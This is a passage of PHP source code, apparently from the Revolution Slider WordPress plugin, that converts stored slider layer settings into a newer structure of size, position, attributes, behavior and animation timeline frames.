			$ml['size']['scaleProportional'] = true;
		}
		
		if(!in_array($ml['size']['scaleProportional'], array(true, false), true)){
			if(in_array($this->get_val($layer, 'type'), array('svg', 'image', 'video'), true)){
				$ml['size']['scaleProportional'] = true;
			}else{
				$ml['size']['scaleProportional'] = false;
			}
		}
		
		if($this->get_val($ml, array('size', 'originalWidth'), 0) === 0){
			$ml['size']['originalWidth'] = $this->get_val($ml, array('size', 'width', 'd', 'v'));
		}
		if($this->get_val($ml, array('size', 'originalHeight'), 0) === 0){
			$ml['size']['originalHeight'] = $this->get_val($ml, array('size', 'height', 'd', 'v'));
		}
		
		$ml['position'] = array(
			'x' => $this->c_to_resp(array('default' => 0, 'val' => $this->get_val($layer, 'left', 0), 'unit' => 'px'), true),
			'y' => $this->c_to_resp(array('default' => 0, 'val' => $this->get_val($layer, 'top', 0), 'unit' => 'px'), true),
			'horizontal' => $this->c_to_resp(array('default' => 'left', 'val' => $this->get_val($layer, 'align_hor'))),
			'vertical' => $this->c_to_resp(array('default' => 'top', 'val' => $this->get_val($layer, 'align_vert'))),
			//'zIndex' => (trim($this->get_val($layer, 'zIndex', '')) === '') ? $this->get_val($layer, 'serial', '##') : $this->get_val($layer, 'zIndex', false),
			'zIndex' => (trim($this->get_val($layer, 'zIndex', '')) === '') ? $this->z_index : $this->get_val($layer, 'zIndex', false),
			'position' => $this->get_val($layer, 'css-position', 'absolute'),
		);
		
		$ml['attributes'] = array(
			'alt'		=> $this->get_val($layer, 'alt', ''),
			'altOption'	=> $this->get_val($layer, 'alt_option', 'media_library'),
			'id'		=> $this->get_val($layer, 'attrID', ''),
			'classes'	=> $this->get_val($layer, 'attrClasses', ''),
			'rel'		=> $this->get_val($layer, 'attrRel', ''),
			'tabIndex'	=> $this->get_val($layer, 'attrTabindex', 0),
			'title'		=> $this->get_val($layer, 'attrTitle', ''),
			'wrapperClasses' => $this->get_val($layer, 'attrWrapperClasses', ''),
			'wrapperId'	=> $this->get_val($layer, 'attrWrapperID', ''),
		);
		
		$base_align = $this->get_val($layer, 'basealign', 'grid');
		if($this->get_val($layer, 'p_uid', -1) == -1){ //only on layers that are not in row/group/column
			if(in_array($this->get_val($layer, 'type'), array('image', 'shape', 'text'), true)){
				$mmw = $this->get_val($ml, array('size', 'width'));
				if($this->get_val($mmw, array('d', 'v')) === '100%' ||
				   $this->get_val($mmw, array('n', 'v')) === '100%' ||
				   $this->get_val($mmw, array('t', 'v')) === '100%' ||
				   $this->get_val($mmw, array('m', 'v')) === '100%'
				){
					if($this->get_val($ml, array('size', 'covermode')) === 'custom'){
						$base_align = 'slide';
					}
				}
			}
		}

		$ml['behavior'] = array(
			'autoResponsive'	 => $this->_truefalse($this->get_val($layer, 'resize-full', true)),
			'intelligentInherit' => false,
			'responsiveChilds'	 => $this->_truefalse($this->get_val($layer, 'resizeme', true)),
			'baseAlign'			 => $base_align,
			'responsiveOffset'	 => $this->_truefalse($this->get_val($layer, 'responsive_offset', true)),
			'lazyLoad'			 => $this->get_val($layer, 'lazy-load', 'auto'),
			'imageSourceType'	 => $this->get_val($layer, 'image-size', 'auto'),
		);
		
		if($this->get_val($layer, 'groupOrder', -99) === -99){
			if($this->get_val($layer, 'zIndex', -99) === -99){
				$groupOrder = $this->get_val($layer, 'serial', -99);
			}else{
				$groupOrder = $this->get_val($layer, 'zIndex', -99);
			}
		}else{
			$groupOrder = $this->get_val($layer, 'groupOrder', -99);
		}
		
		$column_size = $this->get_val($layer, 'column_size', '1/3');
		$ml['group'] = array(
			'puid' => $this->get_val($layer, 'p_uid', -1),
			'groupOrder' => $groupOrder,
			'columnbreakat' => $this->get_val($layer, 'column_break_at', 'tablet'),
			'columnSize' => (in_array($column_size, array(1, '1'), true)) ? '1/1' : $column_size
		);

		$align_vert = $this->get_val($layer, 'align_vert', array());
		if($this->get_val($layer, 'type') === 'row'){
			$ml['group']['puid'] = $this->get_val($align_vert, 'desktop', 'top'); //get the deskop value
		}

		$split = ($this->get_val($layer, 'frames', false) === false) ? $this->get_val($layer, 'split', 'none') : $this->get_val($frame_0, 'split', 'none');
		$endsplit = ($this->get_val($layer, 'frames', false) === false) ? $this->get_val($layer, 'endsplit', 'none') : $this->get_val($frame_999, 'split', 'none');

		//Define an Empty Timeline Object First.
		
		/**
		 * old fix for slider under version 530
		 **/
		$end_time = trim($this->get_val($frame_999, 'time', $this->get_val($layer, 'endtime', 0)));
		$version = $this->get_val($layer, 'version', false);
		if($version === false || intval($version) < 530){ //an additional check that we may not need, as checking if frame_999 is empty is already enough
			if(empty($frame_999)){
				$ret = $this->get_val($layer, 'realEndTime', false);
				if($ret !== false){
					$end_speed = trim($this->get_val($layer, 'endspeed'));
					$end_time_relative = $this->get_val($layer, 'endtimedelay', 'none');
					if($end_time_relative !== 'none'){
						$end_time = ($end_time !== $end_time_relative) ? '+'.$end_time_relative : $end_time_relative;
					}
					
					$calc_speed	= (!empty($end_speed)) ? $end_speed : $this->get_val($frame_0, 'speed', $this->get_val($layer, 'speed', 300));
					
					if(!empty($calc_speed) && $ret - $calc_speed !== $end_time){
						$end_time = $ret - $calc_speed;
					}
				}
				
				//endtime - endspeed
				$end_speed = $this->get_val($layer, 'endspeed', 0);
				$end_time = (!empty($end_time) && $end_time - $end_speed < 0) ? 0 : $end_time - $end_speed;
			}
		}
		
		/**
		 * check if the value is inherit, if yes, take the one from deformation
		 **/
		$fr_0 = array(
			'rotationX' => ($this->get_val($layer, 'x_rotate_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'xrotate')) :  $this->conv_perc_vals($this->get_val($layer, 'x_rotate_start')),
			'rotationY' => ($this->get_val($layer, 'y_rotate_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'yrotate')) :  $this->conv_perc_vals($this->get_val($layer, 'y_rotate_start')),
			'rotationZ' => ($this->get_val($layer, 'z_rotate_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($layer, '2d_rotation')) :  $this->conv_perc_vals($this->get_val($layer, 'z_rotate_start')),
			'scaleX'	=> ($this->get_val($layer, 'scale_x_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'scalex')) :  $this->conv_perc_vals($this->get_val($layer, 'scale_x_start')),
			'scaleY'	=> ($this->get_val($layer, 'scale_y_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'scaley')) :  $this->conv_perc_vals($this->get_val($layer, 'scale_y_start')),
			'skewX'		=> ($this->get_val($layer, 'skew_x_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'skewx')) :  $this->conv_perc_vals($this->get_val($layer, 'skew_x_start')),
			'skewY'		=> ($this->get_val($layer, 'skew_y_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'skewy')) :  $this->conv_perc_vals($this->get_val($layer, 'skew_y_start')),
			'opacity'	=> ($this->get_val($layer, 'opacity_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'opacity')) : $this->conv_perc_vals($this->get_val($layer, 'opacity_start')),
			'z'			=> ($this->get_val($layer, 'z_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'z')) :  $this->conv_perc_vals($this->get_val($layer, 'z_start')),
			'blur'		=> ($this->get_val($layer, 'blurfilter_start', 0) === 'inherit') ? $this->get_val($deformation, 'blurfilter') : $this->get_val($layer, 'blurfilter_start', 0),
			'grayscale'	=> ($this->get_val($layer, 'grayscalefilter_start', 0) === 'inherit') ? $this->get_val($deformation, 'grayscalefilter') : $this->get_val($layer, 'grayscalefilter_start', 0),
			'brightness'=> ($this->get_val($layer, 'brightnessfilter_start', 100) === 'inherit') ? $this->get_val($deformation, 'brightnessfilter') : $this->get_val($layer, 'brightnessfilter_start', 100)
		);
		
		$ml['timeline'] = array(
			'frameOrder' => array(
				array(
					'id' => 'frame_1',
					'start' => (empty($frames)) ? $this->get_val($layer, 'time') : $this->get_val($frame_0, 'time'),
				),
				array(
					'id' => 'frame_999',
					'start' => (empty($frames)) ? $this->get_val($layer, 'endtime') : $this->get_val($frame_999, 'time'),
				),
			),
			'frameToIdle' => 'frame_1',
			'frames' => array(
				'frame_0' => $this->default_frame(
					array(
						'fid' => 'frame_0',
						'alias' => __('Anim From', 'revslider'),
						'grayscale' => $this->get_val($fr_0, 'grayscale', 0),
						'transformPerspective' => $this->get_val($deformation, 'pers'),
						'brightness' => $this->get_val($fr_0, 'brightness', 100),
						'blur' => $this->get_val($fr_0, 'blur', 0),
						'x' => (!in_array($split, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'x_start')),
						'y' => (!in_array($split, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'y_start')),
						'z' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'z'),
						'scaleX' => (!in_array($split, array('', 'none'))) ? 1 : $this->get_val($fr_0, 'scaleX'),
						'scaleY' => (!in_array($split, array('', 'none'))) ? 1 : $this->get_val($fr_0, 'scaleY'),
						'opacity' => (!in_array($split, array('', 'none'))) ? 1 : $this->get_val($fr_0, 'opacity'),
						'rotationX' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'rotationX'),
						'rotationY' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'rotationY'),
						'rotationZ' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'rotationZ'),
						'skewX' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'skewX'),
						'skewY' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'skewY'),
						'originX' => $this->get_val($deformation, '2d_origin_x', '50%'),
						'originY' => $this->get_val($deformation, '2d_origin_y', '50%'),
						'rx' => $this->conv_perc_vals($this->get_val($layer, 'x_start_reverse', false)),
						'ry' => $this->conv_perc_vals($this->get_val($layer, 'y_start_reverse', false)),
						'rz' => $this->conv_perc_vals($this->get_val($layer, 'z_start_reverse')),
						'rscaleX' => $this->conv_perc_vals($this->get_val($layer, 'scale_x_start_reverse')),
						'rscaleY' => $this->conv_perc_vals($this->get_val($layer, 'scale_y_start_reverse')),
						'rrotationX' => $this->conv_perc_vals($this->get_val($layer, 'x_rotate_start_reverse', false)),
						'rrotationY' => $this->conv_perc_vals($this->get_val($layer, 'y_rotate_start_reverse', false)),
						'rrotationZ' => $this->conv_perc_vals($this->get_val($layer, 'z_rotate_start_reverse', false)),
						'rskewX' => $this->conv_perc_vals($this->get_val($layer, 'skew_x_start_reverse', false)),
						'rskewY' => $this->conv_perc_vals($this->get_val($layer, 'skew_y_start_reverse', false)),
						'rmaskX' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_start_reverse', false)),
						'rmaskY' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_start_reverse', false)),
						'color' => array(
							'color' => (empty($frame_0)) ? '' : $this->get_val($frame_0, 'text_c', '#ffffff'),
							'use' => (empty($frame_0)) ? false : $this->get_val($frame_0, 'use_text_c'),
						),
						'bgcolor' => array(
							'backgroundColor' => $this->get_val($frame_0, 'bg_c', 'transparent'),
							'use' => (empty($frame_0)) ? false : $this->get_val($frame_0, 'use_bg_c'),
						),
						//'delay'						=> (empty($frame_0)) ? 0 : $this->get_val($frame_0, 'delay'),
						'ease' => (empty($frame_0)) ? $this->get_val($layer, 'easing', 'power3.inOut') : $this->get_val($frame_0, 'easing', 'power3.inOut'),
						'speed' => (empty($frame_0)) ? $this->get_val($layer, 'speed', 300) : $this->get_val($frame_0, 'speed', 300),
						'start' => (empty($frame_0)) ? $this->get_val($layer, 'time') : $this->get_val($frame_0, 'time'),
						'startRelative' => $this->get_val($frame_0, 'time_relative', 0),
						'effect' => (empty($frame_0)) ? '' : $this->get_val($frame_0, 'sfx_effect'),
						'sfxcolor' => $color_picker->correctValue($this->get_val($frame_0, 'sfxcolor', '#ffffff')),
						'mask' => array(
							'use' => $this->_truefalse($this->get_val($layer, 'mask_start', false)),
							'x' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_start', 0)),
							'y' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_start', 0)),
						),
						'chars' => array(
							'use' => ($split === 'chars') ? true : false,
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => ($split === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'x_start')) : 'inherit',
							'y' => ($split === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'y_start')) : 'inherit',
							'z' => ($split === 'chars') ? $this->get_val($fr_0, 'z') : 'inherit',
							'scaleX' => ($split === 'chars') ? $this->get_val($fr_0, 'scaleX') : 'inherit',
							'scaleY' => ($split === 'chars') ? $this->get_val($fr_0, 'scaleY') : 'inherit',
							'opacity' => ($split === 'chars') ? $this->get_val($fr_0, 'opacity') : 'inherit',
							'rotationX' => ($split === 'chars') ? $this->get_val($fr_0, 'rotationX') : 'inherit',
							'rotationY' => ($split === 'chars') ? $this->get_val($fr_0, 'rotationY') : 'inherit',
							'rotationZ' => ($split === 'chars') ? $this->get_val($fr_0, 'rotationZ') : 'inherit',
							'skewX' => ($split === 'chars') ? $this->get_val($fr_0, 'skewX') : 'inherit',
							'skewY' => ($split === 'chars') ? $this->get_val($fr_0, 'skewY') : 'inherit',
						),
						'words' => array(
							'use' => ($split === 'words') ? true : false,
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => ($split === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'x_start')) : 'inherit',
							'y' => ($split === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'y_start')) : 'inherit',
							'z' => ($split === 'words') ? $this->get_val($fr_0, 'z') : 'inherit',
							'scaleX' => ($split === 'words') ? $this->get_val($fr_0, 'scaleX') : 'inherit',
							'scaleY' => ($split === 'words') ? $this->get_val($fr_0, 'scaleY') : 'inherit',
							'opacity' => ($split === 'words') ? $this->get_val($fr_0, 'opacity') : 'inherit',
							'rotationX' => ($split === 'words') ? $this->get_val($fr_0, 'rotationX') : 'inherit',
							'rotationY' => ($split === 'words') ? $this->get_val($fr_0, 'rotationY') : 'inherit',
							'rotationZ' => ($split === 'words') ? $this->get_val($fr_0, 'rotationZ') : 'inherit',
							'skewX' => ($split === 'words') ? $this->get_val($fr_0, 'skewX') : 'inherit',
							'skewY' => ($split === 'words') ? $this->get_val($fr_0, 'skewY') : 'inherit',
						),
						'lines' => array(
							'use' => ($split === 'lines') ? true : false,
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => ($split === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'x_start')) : 'inherit',
							'y' => ($split === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'y_start')) : 'inherit',
							'z' => ($split === 'lines') ? $this->get_val($fr_0, 'z') : 'inherit',
							'scaleX' => ($split === 'lines') ? $this->get_val($fr_0, 'scaleX') : 'inherit',
							'scaleY' => ($split === 'lines') ? $this->get_val($fr_0, 'scaleY') : 'inherit',
							'opacity' => ($split === 'lines') ? $this->get_val($fr_0, 'opacity') : 'inherit',
							'rotationX' => ($split === 'lines') ? $this->get_val($fr_0, 'rotationX') : 'inherit',
							'rotationY' => ($split === 'lines') ? $this->get_val($fr_0, 'rotationY') : 'inherit',
							'rotationZ' => ($split === 'lines') ? $this->get_val($fr_0, 'rotationZ') : 'inherit',
							'skewX' => ($split === 'lines') ? $this->get_val($fr_0, 'skewX') : 'inherit',
							'skewY' => ($split === 'lines') ? $this->get_val($fr_0, 'skewY') : 'inherit',
						),
					)/*,
					$_f['0']*/
				),
				'frame_1' => $this->default_frame(
					array(
						'fid' => 'frame_1',
						'alias' => __('Anim To', 'revslider'),
						'actionTriggered' => false,
						'transformPerspective' => $this->get_val($deformation, 'pers'),
						'grayscale' => $this->get_val($deformation, 'grayscalefilter', 0),
						'brightness' => $this->get_val($deformation, 'brightnessfilter', 100),
						'blur' => $this->get_val($deformation, 'blurfilter', 0),
						'x' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'x'),
						'y' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'y'),
						'z' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'z'),
						'opacity' => ($split !== 'none') ? 1 : $this->get_val($deformation, 'opacity'),
						'originX' => $this->get_val($deformation, '2d_origin_x', '50%'),
						'originY' => $this->get_val($deformation, '2d_origin_y', '50%'),
						'rotationZ' => ($split !== 'none') ? 0 : $this->get_val($layer, '2d_rotation'),
						'rotationX' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'xrotate'),
						'rotationY' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'yrotate'),
						'scaleX' => ($split !== 'none') ? 1 : $this->get_val($deformation, 'scalex'),
						'scaleY' => ($split !== 'none') ? 1 : $this->get_val($deformation, 'scaley'),
						'skewX' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'skewx'),
						'skewY' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'skewy'),
						//'delay' => (empty($frame_0)) ? 0 : $this->get_val($frame_0, 'delay'),
						'ease' => (empty($frame_0)) ? $this->get_val($layer, 'easing', 'power3.inOut') : $this->get_val($frame_0, 'easing', 'power3.inOut'),
						'speed' => (empty($frame_0)) ? $this->get_val($layer, 'speed', 300) : $this->get_val($frame_0, 'speed', 300),
						'start' => (empty($frame_0)) ? $this->get_val($layer, 'time') : $this->get_val($frame_0, 'time', 10),
						'startRelative' => $this->get_val($frame_0, 'time_relative', 0),
						'effect' => (empty($frame_0)) ? '' : $this->get_val($frame_0, 'sfx_effect'),
						'sfxcolor' => $color_picker->correctValue($this->get_val($frame_0, 'sfxcolor', '#ffffff')),
						'mask' => array(
							'use' => $this->_truefalse($this->get_val($layer, 'mask_start', false)),
							'x' => 0,
							'y' => 0,
						),
						'chars' => array(
							'use' => ($split === 'chars') ? true : false,
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => 0,
							'y' => 0,
							'z' => 0,
							'opacity' => 1,
							'rotationZ' => 0,
							'rotationX' => 0,
							'rotationY' => 0,
							'scaleX' => 1,
							'scaleY' => 1,
							'skewX' => 0,
							'skewY' => 0,
						),
						'words' => array(
							'use' => ($split === 'words') ? true : false,
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => 0,
							'y' => 0,
							'z' => 0,
							'opacity' => 1,
							'rotationZ' => 0,
							'rotationX' => 0,
							'rotationY' => 0,
							'scaleX' => 1,
							'scaleY' => 1,
							'skewX' => 0,
							'skewY' => 0,
						),
						'lines' => array(
							'use' => ($split === 'lines') ? true : false,
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => 0,
							'y' => 0,
							'z' => 0,
							'opacity' => 1,
							'rotationZ' => 0,
							'rotationX' => 0,
							'rotationY' => 0,
							'scaleX' => 1,
							'scaleY' => 1,
							'skewX' => 0,
							'skewY' => 0,
						),
					)/*,
					$_f['1']*/
				),
				'frame_999' => $this->default_frame(
					array(
						'fid' => 'frame_999',
						'alias' => __('Anim To', 'revslider'),
						'animation' => $this->get_val($frame_999, 'animation', $this->get_val($layer, 'endanimation', false)),
						'actionTriggered' => false,
						'transformPerspective' => $this->get_val($deformation, 'pers'),
						'endWithSlide' => $this->get_val($layer, 'endWithSlide', false),
						'grayscale' => $this->get_val($layer, 'grayscalefilter_end', 0),
						'brightness' => $this->get_val($layer, 'brightnessfilter_end', 100),
						'blur' => $this->get_val($layer, 'blurfilter_end', 0),
						'x' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'x_end')),
						'y' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'y_end')),
						'z' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'z_end')),
						'scaleX' => (!in_array($endsplit, array('', 'none'))) ? 1 : $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')),
						'scaleY' => (!in_array($endsplit, array('', 'none'))) ? 1 : $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')),
						'opacity' => (!in_array($endsplit, array('', 'none'))) ? 1 : $this->conv_perc_vals($this->get_val($layer, 'opacity_end')),
						'rotationX' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')),
						'rotationY' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')),
						'rotationZ' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')),
						'skewX' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')),
						'skewY' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')),
						'rx' => $this->conv_perc_vals($this->get_val($layer, 'x_end_reverse', false)),
						'ry' => $this->conv_perc_vals($this->get_val($layer, 'y_end_reverse', false)),
						'rz' => $this->conv_perc_vals($this->get_val($layer, 'z_end_reverse')),
						'rscaleX' => $this->conv_perc_vals($this->get_val($layer, 'scale_x_end_reverse')),
						'rscaleY' => $this->conv_perc_vals($this->get_val($layer, 'scale_y_end_reverse')),
						'rrotationX' => $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end_reverse', false)),
						'rrotationY' => $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end_reverse', false)),
						'rrotationZ' => $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end_reverse', false)),
						'rskewX' => $this->conv_perc_vals($this->get_val($layer, 'skew_x_end_reverse', false)),
						'rskewY' => $this->conv_perc_vals($this->get_val($layer, 'skew_y_end_reverse', false)),
						'rmaskX' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_end_reverse', false)),
						'rmaskY' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_end_reverse', false)),
						'color' => array(
							'color' => $this->get_val($frame_999, 'text_c', '#ffffff'),
							'use' => (empty($frame_999)) ? false : ($this->get_val($frame_999, 'use_text_c') === true),
						),
						'bgcolor' => array(
							'backgroundColor' => $this->get_val($frame_999, 'bg_c', 'transparent'),
							'use' => (empty($frame_999)) ? false : ($this->get_val($frame_999, 'use_bg_c') === true),
						),
						'ease' => (empty($frame_999)) ? $this->get_val($layer, 'endeasing', 'power3.inOut') : $this->get_val($frame_999, 'easing', 'power3.inOut'),
						'speed' => (empty($frame_999)) ? $this->get_val($layer, 'endspeed', 300) : $this->get_val($frame_999, 'speed', 300),
						'start' => (empty($frame_999)) ? $end_time : $this->get_val($frame_999, 'time'), //$this->get_val($layer, 'endtime') 
						'startRelative' => $this->get_val($frame_999, 'time_relative', 0),
						'effect' => (empty($frame_999)) ? '' : $this->get_val($frame_999, 'sfx_effect'),
						'sfxcolor' => $color_picker->correctValue($this->get_val($frame_999, 'sfxcolor', '#ffffff')),
						'mask' => array(
							'use' => $this->conv_perc_vals($this->get_val($layer, 'mask_end', false)),
							'x' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_end', 0)),
							'y' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_end', 0)),
						),
						'chars' => array(
							'use' => ($endsplit === 'chars'),
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'endsplitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'x_end')) : 'inherit',
							'y' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'y_end')) : 'inherit',
							'z' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'z_end')) : 'inherit',
							'scaleX' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')) : 'inherit',
							'scaleY' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')) : 'inherit',
							'opacity' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'opacity_end')) : 'inherit',
							'rotationX' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')) : 'inherit',
							'rotationY' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')) : 'inherit',
							'rotationZ' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')) : 'inherit',
							'skewX' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')) : 'inherit',
							'skewY' => ($endsplit === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')) : 'inherit',
						),
						'words' => array(
							'use' => ($endsplit === 'words'),
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'endsplitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'x_end')) : 'inherit',
							'y' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'y_end')) : 'inherit',
							'z' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'z_end')) : 'inherit',
							'scaleX' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')) : 'inherit',
							'scaleY' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')) : 'inherit',
							'opacity' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'opacity_end')) : 'inherit',
							'rotationX' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')) : 'inherit',
							'rotationY' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')) : 'inherit',
							'rotationZ' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')) : 'inherit',
							'skewX' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')) : 'inherit',
							'skewY' => ($endsplit === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')) : 'inherit',
						),
						'lines' => array(
							'use' => ($endsplit === 'lines'),
							'direction' => $this->get_val($frame_0, 'split_direction', 'forward'),
							'delay' => (empty($frame_0)) ? $this->get_val($layer, 'endsplitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5),
							'x' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'x_end')) : 'inherit',
							'y' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'y_end')) : 'inherit',
							'z' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'z_end')) : 'inherit',
							'scaleX' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')) : 'inherit',
							'scaleY' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')) : 'inherit',
							'opacity' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'opacity_end')) : 'inherit',
							'rotationX' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')) : 'inherit',
							'rotationY' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')) : 'inherit',
							'rotationZ' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')) : 'inherit',
							'skewX' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')) : 'inherit',
							'skewY' => ($endsplit === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')) : 'inherit',
						),
					)/*,
					$_f['999']*/
				),
			),
			'static' => array(
				'start' => $this->get_val($layer, 'static_start', 1),
				'end' => $this->get_val($layer, 'static_end', 'last'),
			),
			'loop' => $this->default_loop_frame(
				array(
					'use' => ($this->get_val($layer, 'loop_animation', 'none') !== 'none') ? true : false,
					'ease' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? 'none' : $this->get_val($layer, 'loop_easing', 'none'),
					'speed' => ($this->get_val($layer, 'loop_animation', 'rs-wave') === 'rs-wave') ? $this->get_val($layer, 'loop_speed', 1) * 1000 : $this->get_val($layer, 'loop_speed', 1) * 2000,
					'originX' => $this->get_val($layer, 'loop_xorigin', '50%'),
					'originY' => $this->get_val($layer, 'loop_yorigin', '50%'),
					'radiusAngle' => 0,
					'curviness' => 2,
					'curved' => ($this->get_val($layer, 'loop_animation') === 'rs-wave') ? true : false,
					'yoyo_move' => ($this->get_val($layer, 'loop_animation', 'rs-wave') === 'rs-wave') ? false : true,
					'yoyo_rotate' => ($this->get_val($layer, 'loop_animation') === 'rs-pendulum') ? true : false,
					'yoyo_scale' => ($this->get_val($layer, 'loop_animation', 'none') !== 'none') ? true : false,
